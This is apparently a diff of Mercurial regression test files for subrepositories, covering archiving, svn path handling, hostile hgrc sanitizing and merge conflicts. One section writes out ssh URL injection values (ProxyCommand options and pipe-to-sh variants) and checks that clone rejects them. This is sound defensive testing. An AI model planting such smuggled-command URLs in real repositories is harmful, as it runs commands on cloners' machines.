529 archiving (recreated): 1/1 files (100.00%)
529 archiving (recreated): 1/1 files (100.00%)
530 archiving (s): 0/2 files (0.00%)
530 archiving (s): 0/2 files (0.00%)
531 archiving (s): 1/2 files (50.00%)
531 archiving (s): 1/2 files (50.00%)
532 archiving (s): 2/2 files (100.00%)
532 archiving (s): 2/2 files (100.00%)
533
533
534 $ hg archive -S ../archive-exclude --debug --config progress.debug=true -X **old
534 $ hg archive -S ../archive-exclude --debug --config progress.debug=true -X **old
535 archiving: 0/2 files (0.00%)
535 archiving: 0/2 files (0.00%)
536 archiving: .hgsub 1/2 files (50.00%)
536 archiving: .hgsub 1/2 files (50.00%)
537 archiving: .hgsubstate 2/2 files (100.00%)
537 archiving: .hgsubstate 2/2 files (100.00%)
538 archiving (obstruct): 0/1 files (0.00%)
538 archiving (obstruct): 0/1 files (0.00%)
539 archiving (obstruct): 1/1 files (100.00%)
539 archiving (obstruct): 1/1 files (100.00%)
540 archiving (recreated): 0 files
540 archiving (recreated): 0 files
541 archiving (s): 0/2 files (0.00%)
541 archiving (s): 0/2 files (0.00%)
542 archiving (s): 1/2 files (50.00%)
542 archiving (s): 1/2 files (50.00%)
543 archiving (s): 2/2 files (100.00%)
543 archiving (s): 2/2 files (100.00%)
544 $ find ../archive-exclude | sort
544 $ find ../archive-exclude | sort
545 ../archive-exclude
545 ../archive-exclude
546 ../archive-exclude/.hg_archival.txt
546 ../archive-exclude/.hg_archival.txt
547 ../archive-exclude/.hgsub
547 ../archive-exclude/.hgsub
548 ../archive-exclude/.hgsubstate
548 ../archive-exclude/.hgsubstate
549 ../archive-exclude/obstruct
549 ../archive-exclude/obstruct
550 ../archive-exclude/obstruct/other
550 ../archive-exclude/obstruct/other
551 ../archive-exclude/s
551 ../archive-exclude/s
552 ../archive-exclude/s/alpha
552 ../archive-exclude/s/alpha
553 ../archive-exclude/s/dir
553 ../archive-exclude/s/dir
554 ../archive-exclude/s/dir/epsilon.py
554 ../archive-exclude/s/dir/epsilon.py
555
555
556 Test forgetting files, not implemented in svn subrepo, used to
556 Test forgetting files, not implemented in svn subrepo, used to
557 traceback
557 traceback
558
558
559 #if no-windows
559 #if no-windows
560 $ hg forget 'notafile*'
560 $ hg forget 'notafile*'
561 notafile*: No such file or directory
561 notafile*: No such file or directory
562 [1]
562 [1]
563 #else
563 #else
564 $ hg forget 'notafile'
564 $ hg forget 'notafile'
565 notafile: * (glob)
565 notafile: * (glob)
566 [1]
566 [1]
567 #endif
567 #endif
568
568
569 Test a subrepo referencing a just moved svn path. Last commit rev will
569 Test a subrepo referencing a just moved svn path. Last commit rev will
570 be different from the revision, and the path will be different as
570 be different from the revision, and the path will be different as
571 well.
571 well.
572
572
573 $ cd "$WCROOT"
573 $ cd "$WCROOT"
574 $ svn up > /dev/null
574 $ svn up > /dev/null
575 $ mkdir trunk/subdir branches
575 $ mkdir trunk/subdir branches
576 $ echo a > trunk/subdir/a
576 $ echo a > trunk/subdir/a
577 $ svn add trunk/subdir branches
577 $ svn add trunk/subdir branches
578 A trunk/subdir (glob)
578 A trunk/subdir (glob)
579 A trunk/subdir/a (glob)
579 A trunk/subdir/a (glob)
580 A branches
580 A branches
581 $ svn ci -qm addsubdir
581 $ svn ci -qm addsubdir
582 $ svn cp -qm branchtrunk $SVNREPOURL/trunk $SVNREPOURL/branches/somebranch
582 $ svn cp -qm branchtrunk $SVNREPOURL/trunk $SVNREPOURL/branches/somebranch
583 $ cd ..
583 $ cd ..
584
584
585 $ hg init repo2
585 $ hg init repo2
586 $ cd repo2
586 $ cd repo2
587 $ svn co $SVNREPOURL/branches/somebranch/subdir
587 $ svn co $SVNREPOURL/branches/somebranch/subdir
588 A subdir/a (glob)
588 A subdir/a (glob)
589 Checked out revision 15.
589 Checked out revision 15.
590 $ echo "subdir = [svn] $SVNREPOURL/branches/somebranch/subdir" > .hgsub
590 $ echo "subdir = [svn] $SVNREPOURL/branches/somebranch/subdir" > .hgsub
591 $ hg add .hgsub
591 $ hg add .hgsub
592 $ hg ci -m addsub
592 $ hg ci -m addsub
593 $ hg up null
593 $ hg up null
594 0 files updated, 0 files merged, 2 files removed, 0 files unresolved
594 0 files updated, 0 files merged, 2 files removed, 0 files unresolved
595 $ hg up
595 $ hg up
596 A *subdir/a (glob)
596 A *subdir/a (glob)
597 Checked out revision 15.
597 Checked out revision 15.
598 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
598 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
599 $ cd ..
599 $ cd ..
600
600
601 Test sanitizing ".hg/hgrc" in subrepo
601 Test sanitizing ".hg/hgrc" in subrepo
602
602
603 $ cd sub/t
603 $ cd sub/t
604 $ hg update -q -C tip
604 $ hg update -q -C tip
605 $ cd s
605 $ cd s
606 $ mkdir .hg
606 $ mkdir .hg
607 $ echo '.hg/hgrc in svn repo' > .hg/hgrc
607 $ echo '.hg/hgrc in svn repo' > .hg/hgrc
608 $ mkdir -p sub/.hg
608 $ mkdir -p sub/.hg
609 $ echo 'sub/.hg/hgrc in svn repo' > sub/.hg/hgrc
609 $ echo 'sub/.hg/hgrc in svn repo' > sub/.hg/hgrc
610 $ svn add .hg sub
610 $ svn add .hg sub
611 A .hg
611 A .hg
612 A .hg/hgrc (glob)
612 A .hg/hgrc (glob)
613 A sub
613 A sub
614 A sub/.hg (glob)
614 A sub/.hg (glob)
615 A sub/.hg/hgrc (glob)
615 A sub/.hg/hgrc (glob)
616 $ svn ci -qm 'add .hg/hgrc to be sanitized at hg update'
616 $ svn ci -qm 'add .hg/hgrc to be sanitized at hg update'
617 $ svn up -q
617 $ svn up -q
618 $ cd ..
618 $ cd ..
619 $ hg commit -S -m 'commit with svn revision including .hg/hgrc'
619 $ hg commit -S -m 'commit with svn revision including .hg/hgrc'
620 $ grep ' s$' .hgsubstate
620 $ grep ' s$' .hgsubstate
621 16 s
621 16 s
622 $ cd ..
622 $ cd ..
623
623
624 $ hg -R tc pull -u -q 2>&1 | sort
624 $ hg -R tc pull -u -q 2>&1 | sort
625 warning: removing potentially hostile 'hgrc' in '$TESTTMP/sub/tc/s/.hg' (glob)
625 warning: removing potentially hostile 'hgrc' in '$TESTTMP/sub/tc/s/.hg' (glob)
626 warning: removing potentially hostile 'hgrc' in '$TESTTMP/sub/tc/s/sub/.hg' (glob)
626 warning: removing potentially hostile 'hgrc' in '$TESTTMP/sub/tc/s/sub/.hg' (glob)
627 $ cd tc
627 $ cd tc
628 $ grep ' s$' .hgsubstate
628 $ grep ' s$' .hgsubstate
629 16 s
629 16 s
630 $ test -f s/.hg/hgrc
630 $ test -f s/.hg/hgrc
631 [1]
631 [1]
632 $ test -f s/sub/.hg/hgrc
632 $ test -f s/sub/.hg/hgrc
633 [1]
633 [1]
634
634
635 Test that sanitizing is omitted in meta data area:
635 Test that sanitizing is omitted in meta data area:
636
636
637 $ mkdir s/.svn/.hg
637 $ mkdir s/.svn/.hg
638 $ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc
638 $ echo '.hg/hgrc in svn metadata area' > s/.svn/.hg/hgrc
639 $ hg update -q -C '.^1'
639 $ hg update -q -C '.^1'
640
640
641 $ cd ../..
641 $ cd ../..
642
642
643 SEC: test for ssh exploit
643 SEC: test for ssh exploit
644
644
645 $ hg init ssh-vuln
645 $ hg init ssh-vuln
646 $ cd ssh-vuln
646 $ cd ssh-vuln
647 $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
647 $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
648 $ svn co --quiet "$SVNREPOURL"/src s
648 $ svn co --quiet "$SVNREPOURL"/src s
649 $ hg add .hgsub
649 $ hg add .hgsub
650 $ hg ci -m1
650 $ hg ci -m1
651 $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
651 $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
652 $ hg ci -m2
652 $ hg ci -m2
653 $ cd ..
653 $ cd ..
654 $ hg clone ssh-vuln ssh-vuln-clone
654 $ hg clone ssh-vuln ssh-vuln-clone
655 updating to branch default
655 updating to branch default
656 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
656 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
657 [255]
657 [255]
658
658
659 also check that a percent encoded '-' (%2D) doesn't work
659 also check that a percent encoded '-' (%2D) doesn't work
660
660
661 $ cd ssh-vuln
661 $ cd ssh-vuln
662 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
662 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
663 $ hg ci -m3
663 $ hg ci -m3
664 $ cd ..
664 $ cd ..
665 $ rm -r ssh-vuln-clone
665 $ rm -r ssh-vuln-clone
666 $ hg clone ssh-vuln ssh-vuln-clone
666 $ hg clone ssh-vuln ssh-vuln-clone
667 updating to branch default
667 updating to branch default
668 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
668 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
669 [255]
669 [255]
670
670
671 also check for a pipe
672
673 $ cd ssh-vuln
674 $ echo "s = [svn]svn+ssh://fakehost|sh%20nested" > .hgsub
675 $ hg ci -m3
676 $ cd ..
677 $ rm -r ssh-vuln-clone
678 $ hg clone ssh-vuln ssh-vuln-clone
679 updating to branch default
680 abort: potentially unsafe url: 'svn+ssh://fakehost|sh nested' (in subrepo s)
681 [255]
682
683 also check that a percent encoded '|' (%7C) doesn't work
684
685 $ cd ssh-vuln
686 $ echo "s = [svn]svn+ssh://fakehost%7Csh%20nested" > .hgsub
687 $ hg ci -m3
688 $ cd ..
689 $ rm -r ssh-vuln-clone
690 $ hg clone ssh-vuln ssh-vuln-clone
691 updating to branch default
692 abort: potentially unsafe url: 'svn+ssh://fakehost|sh nested' (in subrepo s)
693 [255]
694
695 also check that hiding the attack in the username doesn't work:
671 also check that hiding the attack in the username doesn't work:
696
672
697 $ cd ssh-vuln
673 $ cd ssh-vuln
698 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
674 $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
699 $ hg ci -m3
675 $ hg ci -m3
700 $ cd ..
676 $ cd ..
701 $ rm -r ssh-vuln-clone
677 $ rm -r ssh-vuln-clone
702 $ hg clone ssh-vuln ssh-vuln-clone
678 $ hg clone ssh-vuln ssh-vuln-clone
703 updating to branch default
679 updating to branch default
704 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s)
680 abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s)
705 [255]
681 [255]
@@ -1,1846 +1,1853 b''
1 Let commit recurse into subrepos by default to match pre-2.0 behavior:
1 Let commit recurse into subrepos by default to match pre-2.0 behavior:
2
2
3 $ echo "[ui]" >> $HGRCPATH
3 $ echo "[ui]" >> $HGRCPATH
4 $ echo "commitsubrepos = Yes" >> $HGRCPATH
4 $ echo "commitsubrepos = Yes" >> $HGRCPATH
5
5
6 $ hg init t
6 $ hg init t
7 $ cd t
7 $ cd t
8
8
9 first revision, no sub
9 first revision, no sub
10
10
11 $ echo a > a
11 $ echo a > a
12 $ hg ci -Am0
12 $ hg ci -Am0
13 adding a
13 adding a
14
14
15 add first sub
15 add first sub
16
16
17 $ echo s = s > .hgsub
17 $ echo s = s > .hgsub
18 $ hg add .hgsub
18 $ hg add .hgsub
19 $ hg init s
19 $ hg init s
20 $ echo a > s/a
20 $ echo a > s/a
21
21
22 Issue2232: committing a subrepo without .hgsub
22 Issue2232: committing a subrepo without .hgsub
23
23
24 $ hg ci -mbad s
24 $ hg ci -mbad s
25 abort: can't commit subrepos without .hgsub
25 abort: can't commit subrepos without .hgsub
26 [255]
26 [255]
27
27
28 $ hg -R s add s/a
28 $ hg -R s add s/a
29 $ hg files -S
29 $ hg files -S
30 .hgsub
30 .hgsub
31 a
31 a
32 s/a (glob)
32 s/a (glob)
33
33
34 $ hg -R s ci -Ams0
34 $ hg -R s ci -Ams0
35 $ hg sum
35 $ hg sum
36 parent: 0:f7b1eb17ad24 tip
36 parent: 0:f7b1eb17ad24 tip
37 0
37 0
38 branch: default
38 branch: default
39 commit: 1 added, 1 subrepos
39 commit: 1 added, 1 subrepos
40 update: (current)
40 update: (current)
41 phases: 1 draft
41 phases: 1 draft
42 $ hg ci -m1
42 $ hg ci -m1
43
43
44 test handling .hgsubstate "added" explicitly.
44 test handling .hgsubstate "added" explicitly.
45
45
46 $ hg parents --template '{node}\n{files}\n'
46 $ hg parents --template '{node}\n{files}\n'
47 7cf8cfea66e410e8e3336508dfeec07b3192de51
47 7cf8cfea66e410e8e3336508dfeec07b3192de51
48 .hgsub .hgsubstate
48 .hgsub .hgsubstate
49 $ hg rollback -q
49 $ hg rollback -q
50 $ hg add .hgsubstate
50 $ hg add .hgsubstate
51 $ hg ci -m1
51 $ hg ci -m1
52 $ hg parents --template '{node}\n{files}\n'
52 $ hg parents --template '{node}\n{files}\n'
53 7cf8cfea66e410e8e3336508dfeec07b3192de51
53 7cf8cfea66e410e8e3336508dfeec07b3192de51
54 .hgsub .hgsubstate
54 .hgsub .hgsubstate
55
55
56 Subrepopath which overlaps with filepath, does not change warnings in remove()
56 Subrepopath which overlaps with filepath, does not change warnings in remove()
57
57
58 $ mkdir snot
58 $ mkdir snot
59 $ touch snot/file
59 $ touch snot/file
60 $ hg remove -S snot/file
60 $ hg remove -S snot/file
61 not removing snot/file: file is untracked (glob)
61 not removing snot/file: file is untracked (glob)
62 [1]
62 [1]
63 $ hg cat snot/filenot
63 $ hg cat snot/filenot
64 snot/filenot: no such file in rev 7cf8cfea66e4 (glob)
64 snot/filenot: no such file in rev 7cf8cfea66e4 (glob)
65 [1]
65 [1]
66 $ rm -r snot
66 $ rm -r snot
67
67
68 Revert subrepo and test subrepo fileset keyword:
68 Revert subrepo and test subrepo fileset keyword:
69
69
70 $ echo b > s/a
70 $ echo b > s/a
71 $ hg revert --dry-run "set:subrepo('glob:s*')"
71 $ hg revert --dry-run "set:subrepo('glob:s*')"
72 reverting subrepo s
72 reverting subrepo s
73 reverting s/a (glob)
73 reverting s/a (glob)
74 $ cat s/a
74 $ cat s/a
75 b
75 b
76 $ hg revert "set:subrepo('glob:s*')"
76 $ hg revert "set:subrepo('glob:s*')"
77 reverting subrepo s
77 reverting subrepo s
78 reverting s/a (glob)
78 reverting s/a (glob)
79 $ cat s/a
79 $ cat s/a
80 a
80 a
81 $ rm s/a.orig
81 $ rm s/a.orig
82
82
83 Revert subrepo with no backup. The "reverting s/a" line is gone since
83 Revert subrepo with no backup. The "reverting s/a" line is gone since
84 we're really running 'hg update' in the subrepo:
84 we're really running 'hg update' in the subrepo:
85
85
86 $ echo b > s/a
86 $ echo b > s/a
87 $ hg revert --no-backup s
87 $ hg revert --no-backup s
88 reverting subrepo s
88 reverting subrepo s
89
89
90 Issue2022: update -C
90 Issue2022: update -C
91
91
92 $ echo b > s/a
92 $ echo b > s/a
93 $ hg sum
93 $ hg sum
94 parent: 1:7cf8cfea66e4 tip
94 parent: 1:7cf8cfea66e4 tip
95 1
95 1
96 branch: default
96 branch: default
97 commit: 1 subrepos
97 commit: 1 subrepos
98 update: (current)
98 update: (current)
99 phases: 2 draft
99 phases: 2 draft
100 $ hg co -C 1
100 $ hg co -C 1
101 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
101 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
102 $ hg sum
102 $ hg sum
103 parent: 1:7cf8cfea66e4 tip
103 parent: 1:7cf8cfea66e4 tip
104 1
104 1
105 branch: default
105 branch: default
106 commit: (clean)
106 commit: (clean)
107 update: (current)
107 update: (current)
108 phases: 2 draft
108 phases: 2 draft
109
109
110 commands that require a clean repo should respect subrepos
110 commands that require a clean repo should respect subrepos
111
111
112 $ echo b >> s/a
112 $ echo b >> s/a
113 $ hg backout tip
113 $ hg backout tip
114 abort: uncommitted changes in subrepository 's'
114 abort: uncommitted changes in subrepository 's'
115 [255]
115 [255]
116 $ hg revert -C -R s s/a
116 $ hg revert -C -R s s/a
117
117
118 add sub sub
118 add sub sub
119
119
120 $ echo ss = ss > s/.hgsub
120 $ echo ss = ss > s/.hgsub
121 $ hg init s/ss
121 $ hg init s/ss
122 $ echo a > s/ss/a
122 $ echo a > s/ss/a
123 $ hg -R s add s/.hgsub
123 $ hg -R s add s/.hgsub
124 $ hg -R s/ss add s/ss/a
124 $ hg -R s/ss add s/ss/a
125 $ hg sum
125 $ hg sum
126 parent: 1:7cf8cfea66e4 tip
126 parent: 1:7cf8cfea66e4 tip
127 1
127 1
128 branch: default
128 branch: default
129 commit: 1 subrepos
129 commit: 1 subrepos
130 update: (current)
130 update: (current)
131 phases: 2 draft
131 phases: 2 draft
132 $ hg ci -m2
132 $ hg ci -m2
133 committing subrepository s
133 committing subrepository s
134 committing subrepository s/ss (glob)
134 committing subrepository s/ss (glob)
135 $ hg sum
135 $ hg sum
136 parent: 2:df30734270ae tip
136 parent: 2:df30734270ae tip
137 2
137 2
138 branch: default
138 branch: default
139 commit: (clean)
139 commit: (clean)
140 update: (current)
140 update: (current)
141 phases: 3 draft
141 phases: 3 draft
142
142
143 test handling .hgsubstate "modified" explicitly.
143 test handling .hgsubstate "modified" explicitly.
144
144
145 $ hg parents --template '{node}\n{files}\n'
145 $ hg parents --template '{node}\n{files}\n'
146 df30734270ae757feb35e643b7018e818e78a9aa
146 df30734270ae757feb35e643b7018e818e78a9aa
147 .hgsubstate
147 .hgsubstate
148 $ hg rollback -q
148 $ hg rollback -q
149 $ hg status -A .hgsubstate
149 $ hg status -A .hgsubstate
150 M .hgsubstate
150 M .hgsubstate
151 $ hg ci -m2
151 $ hg ci -m2
152 $ hg parents --template '{node}\n{files}\n'
152 $ hg parents --template '{node}\n{files}\n'
153 df30734270ae757feb35e643b7018e818e78a9aa
153 df30734270ae757feb35e643b7018e818e78a9aa
154 .hgsubstate
154 .hgsubstate
155
155
156 bump sub rev (and check it is ignored by ui.commitsubrepos)
156 bump sub rev (and check it is ignored by ui.commitsubrepos)
157
157
158 $ echo b > s/a
158 $ echo b > s/a
159 $ hg -R s ci -ms1
159 $ hg -R s ci -ms1
160 $ hg --config ui.commitsubrepos=no ci -m3
160 $ hg --config ui.commitsubrepos=no ci -m3
161
161
162 leave sub dirty (and check ui.commitsubrepos=no aborts the commit)
162 leave sub dirty (and check ui.commitsubrepos=no aborts the commit)
163
163
164 $ echo c > s/a
164 $ echo c > s/a
165 $ hg --config ui.commitsubrepos=no ci -m4
165 $ hg --config ui.commitsubrepos=no ci -m4
166 abort: uncommitted changes in subrepository 's'
166 abort: uncommitted changes in subrepository 's'
167 (use --subrepos for recursive commit)
167 (use --subrepos for recursive commit)
168 [255]
168 [255]
169 $ hg id
169 $ hg id
170 f6affe3fbfaa+ tip
170 f6affe3fbfaa+ tip
171 $ hg -R s ci -mc
171 $ hg -R s ci -mc
172 $ hg id
172 $ hg id
173 f6affe3fbfaa+ tip
173 f6affe3fbfaa+ tip
174 $ echo d > s/a
174 $ echo d > s/a
175 $ hg ci -m4
175 $ hg ci -m4
176 committing subrepository s
176 committing subrepository s
177 $ hg tip -R s
177 $ hg tip -R s
178 changeset: 4:02dcf1d70411
178 changeset: 4:02dcf1d70411
179 tag: tip
179 tag: tip
180 user: test
180 user: test
181 date: Thu Jan 01 00:00:00 1970 +0000
181 date: Thu Jan 01 00:00:00 1970 +0000
182 summary: 4
182 summary: 4
183
183
184
184
185 check caching
185 check caching
186
186
187 $ hg co 0
187 $ hg co 0
188 0 files updated, 0 files merged, 2 files removed, 0 files unresolved
188 0 files updated, 0 files merged, 2 files removed, 0 files unresolved
189 $ hg debugsub
189 $ hg debugsub
190
190
191 restore
191 restore
192
192
193 $ hg co
193 $ hg co
194 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
194 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
195 $ hg debugsub
195 $ hg debugsub
196 path s
196 path s
197 source s
197 source s
198 revision 02dcf1d704118aee3ee306ccfa1910850d5b05ef
198 revision 02dcf1d704118aee3ee306ccfa1910850d5b05ef
199
199
200 new branch for merge tests
200 new branch for merge tests
201
201
202 $ hg co 1
202 $ hg co 1
203 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
203 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
204 $ echo t = t >> .hgsub
204 $ echo t = t >> .hgsub
205 $ hg init t
205 $ hg init t
206 $ echo t > t/t
206 $ echo t > t/t
207 $ hg -R t add t
207 $ hg -R t add t
208 adding t/t (glob)
208 adding t/t (glob)
209
209
210 5
210 5
211
211
212 $ hg ci -m5 # add sub
212 $ hg ci -m5 # add sub
213 committing subrepository t
213 committing subrepository t
214 created new head
214 created new head
215 $ echo t2 > t/t
215 $ echo t2 > t/t
216
216
217 6
217 6
218
218
219 $ hg st -R s
219 $ hg st -R s
220 $ hg ci -m6 # change sub
220 $ hg ci -m6 # change sub
221 committing subrepository t
221 committing subrepository t
222 $ hg debugsub
222 $ hg debugsub
223 path s
223 path s
224 source s
224 source s
225 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
225 revision e4ece1bf43360ddc8f6a96432201a37b7cd27ae4
226 path t
226 path t
227 source t
227 source t
228 revision 6747d179aa9a688023c4b0cad32e4c92bb7f34ad
228 revision 6747d179aa9a688023c4b0cad32e4c92bb7f34ad
229 $ echo t3 > t/t
229 $ echo t3 > t/t
230
230
231 7
231 7
232
232
233 $ hg ci -m7 # change sub again for conflict test
233 $ hg ci -m7 # change sub again for conflict test
234 committing subrepository t
234 committing subrepository t
235 $ hg rm .hgsub
235 $ hg rm .hgsub
236
236
237 8
237 8
238
238
239 $ hg ci -m8 # remove sub
239 $ hg ci -m8 # remove sub
240
240
241 test handling .hgsubstate "removed" explicitly.
241 test handling .hgsubstate "removed" explicitly.
242
242
243 $ hg parents --template '{node}\n{files}\n'
243 $ hg parents --template '{node}\n{files}\n'
244 96615c1dad2dc8e3796d7332c77ce69156f7b78e
244 96615c1dad2dc8e3796d7332c77ce69156f7b78e
245 .hgsub .hgsubstate
245 .hgsub .hgsubstate
246 $ hg rollback -q
246 $ hg rollback -q
247 $ hg remove .hgsubstate
247 $ hg remove .hgsubstate
248 $ hg ci -m8
248 $ hg ci -m8
249 $ hg parents --template '{node}\n{files}\n'
249 $ hg parents --template '{node}\n{files}\n'
250 96615c1dad2dc8e3796d7332c77ce69156f7b78e
250 96615c1dad2dc8e3796d7332c77ce69156f7b78e
251 .hgsub .hgsubstate
251 .hgsub .hgsubstate
252
252
253 merge tests
253 merge tests
254
254
255 $ hg co -C 3
255 $ hg co -C 3
256 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
256 2 files updated, 0 files merged, 0 files removed, 0 files unresolved
257 $ hg merge 5 # test adding
257 $ hg merge 5 # test adding
258 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
258 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
259 (branch merge, don't forget to commit)
259 (branch merge, don't forget to commit)
260 $ hg debugsub
260 $ hg debugsub
261 path s
261 path s
262 source s
262 source s
263 revision fc627a69481fcbe5f1135069e8a3881c023e4cf5
263 revision fc627a69481fcbe5f1135069e8a3881c023e4cf5
264 path t
264 path t
265 source t
265 source t
266 revision 60ca1237c19474e7a3978b0dc1ca4e6f36d51382
266 revision 60ca1237c19474e7a3978b0dc1ca4e6f36d51382
267 $ hg ci -m9
267 $ hg ci -m9
268 created new head
268 created new head
269 $ hg merge 6 --debug # test change
269 $ hg merge 6 --debug # test change
270 searching for copies back to rev 2
270 searching for copies back to rev 2
271 resolving manifests
271 resolving manifests
272 branchmerge: True, force: False, partial: False
272 branchmerge: True, force: False, partial: False
273 ancestor: 1f14a2e2d3ec, local: f0d2028bf86d+, remote: 1831e14459c4
273 ancestor: 1f14a2e2d3ec, local: f0d2028bf86d+, remote: 1831e14459c4
274 starting 4 threads for background file closing (?)
274 starting 4 threads for background file closing (?)
275 .hgsubstate: versions differ -> m (premerge)
275 .hgsubstate: versions differ -> m (premerge)
276 subrepo merge f0d2028bf86d+ 1831e14459c4 1f14a2e2d3ec
276 subrepo merge f0d2028bf86d+ 1831e14459c4 1f14a2e2d3ec
277 subrepo t: other changed, get t:6747d179aa9a688023c4b0cad32e4c92bb7f34ad:hg
277 subrepo t: other changed, get t:6747d179aa9a688023c4b0cad32e4c92bb7f34ad:hg
278 getting subrepo t
278 getting subrepo t
279 resolving manifests
279 resolving manifests
280 branchmerge: False, force: False, partial: False
280 branchmerge: False, force: False, partial: False
281 ancestor: 60ca1237c194, local: 60ca1237c194+, remote: 6747d179aa9a
281 ancestor: 60ca1237c194, local: 60ca1237c194+, remote: 6747d179aa9a
282 t: remote is newer -> g
282 t: remote is newer -> g
283 getting t
283 getting t
284 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
284 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
285 (branch merge, don't forget to commit)
285 (branch merge, don't forget to commit)
286 $ hg debugsub
286 $ hg debugsub
287 path s
287 path s
288 source s
288 source s
289 revision fc627a69481fcbe5f1135069e8a3881c023e4cf5
289 revision fc627a69481fcbe5f1135069e8a3881c023e4cf5
290 path t
290 path t
291 source t
291 source t
292 revision 6747d179aa9a688023c4b0cad32e4c92bb7f34ad
292 revision 6747d179aa9a688023c4b0cad32e4c92bb7f34ad
293 $ echo conflict > t/t
293 $ echo conflict > t/t
294 $ hg ci -m10
294 $ hg ci -m10
295 committing subrepository t
295 committing subrepository t
296 $ HGMERGE=internal:merge hg merge --debug 7 # test conflict
296 $ HGMERGE=internal:merge hg merge --debug 7 # test conflict
297 searching for copies back to rev 2
297 searching for copies back to rev 2
298 resolving manifests
298 resolving manifests
299 branchmerge: True, force: False, partial: False
299 branchmerge: True, force: False, partial: False
300 ancestor: 1831e14459c4, local: e45c8b14af55+, remote: f94576341bcf
300 ancestor: 1831e14459c4, local: e45c8b14af55+, remote: f94576341bcf
301 starting 4 threads for background file closing (?)
301 starting 4 threads for background file closing (?)
302 .hgsubstate: versions differ -> m (premerge)
302 .hgsubstate: versions differ -> m (premerge)
303 subrepo merge e45c8b14af55+ f94576341bcf 1831e14459c4
303 subrepo merge e45c8b14af55+ f94576341bcf 1831e14459c4
304 subrepo t: both sides changed
304 subrepo t: both sides changed
305 subrepository t diverged (local revision: 20a0db6fbf6c, remote revision: 7af322bc1198)
305 subrepository t diverged (local revision: 20a0db6fbf6c, remote revision: 7af322bc1198)
306 starting 4 threads for background file closing (?)
306 starting 4 threads for background file closing (?)
307 (M)erge, keep (l)ocal [working copy] or keep (r)emote [merge rev]? m
307 (M)erge, keep (l)ocal [working copy] or keep (r)emote [merge rev]? m
308 merging subrepo t
308 merging subrepo t
309 searching for copies back to rev 2
309 searching for copies back to rev 2
310 resolving manifests
310 resolving manifests
311 branchmerge: True, force: False, partial: False
311 branchmerge: True, force: False, partial: False
312 ancestor: 6747d179aa9a, local: 20a0db6fbf6c+, remote: 7af322bc1198
312 ancestor: 6747d179aa9a, local: 20a0db6fbf6c+, remote: 7af322bc1198
313 preserving t for resolve of t
313 preserving t for resolve of t
314 starting 4 threads for background file closing (?)
314 starting 4 threads for background file closing (?)
315 t: versions differ -> m (premerge)
315 t: versions differ -> m (premerge)
316 picked tool ':merge' for t (binary False symlink False changedelete False)
316 picked tool ':merge' for t (binary False symlink False changedelete False)
317 merging t
317 merging t
318 my t@20a0db6fbf6c+ other t@7af322bc1198 ancestor t@6747d179aa9a
318 my t@20a0db6fbf6c+ other t@7af322bc1198 ancestor t@6747d179aa9a
319 t: versions differ -> m (merge)
319 t: versions differ -> m (merge)
320 picked tool ':merge' for t (binary False symlink False changedelete False)
320 picked tool ':merge' for t (binary False symlink False changedelete False)
321 my t@20a0db6fbf6c+ other t@7af322bc1198 ancestor t@6747d179aa9a
321 my t@20a0db6fbf6c+ other t@7af322bc1198 ancestor t@6747d179aa9a
322 warning: conflicts while merging t! (edit, then use 'hg resolve --mark')
322 warning: conflicts while merging t! (edit, then use 'hg resolve --mark')
323 0 files updated, 0 files merged, 0 files removed, 1 files unresolved
323 0 files updated, 0 files merged, 0 files removed, 1 files unresolved
324 use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
324 use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
325 subrepo t: merge with t:7af322bc1198a32402fe903e0b7ebcfc5c9bf8f4:hg
325 subrepo t: merge with t:7af322bc1198a32402fe903e0b7ebcfc5c9bf8f4:hg
326 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
326 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
327 (branch merge, don't forget to commit)
327 (branch merge, don't forget to commit)
328
328
329 should conflict
329 should conflict
330
330
331 $ cat t/t
331 $ cat t/t
332 <<<<<<< local: 20a0db6fbf6c - test: 10
332 <<<<<<< local: 20a0db6fbf6c - test: 10
333 conflict
333 conflict
334 =======
334 =======
335 t3
335 t3
336 >>>>>>> other: 7af322bc1198 - test: 7
336 >>>>>>> other: 7af322bc1198 - test: 7
337
337
338 11: remove subrepo t
338 11: remove subrepo t
339
339
340 $ hg co -C 5
340 $ hg co -C 5
341 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
341 1 files updated, 0 files merged, 0 files removed, 0 files unresolved
342 $ hg revert -r 4 .hgsub # remove t
342 $ hg revert -r 4 .hgsub # remove t
343 $ hg ci -m11
343 $ hg ci -m11
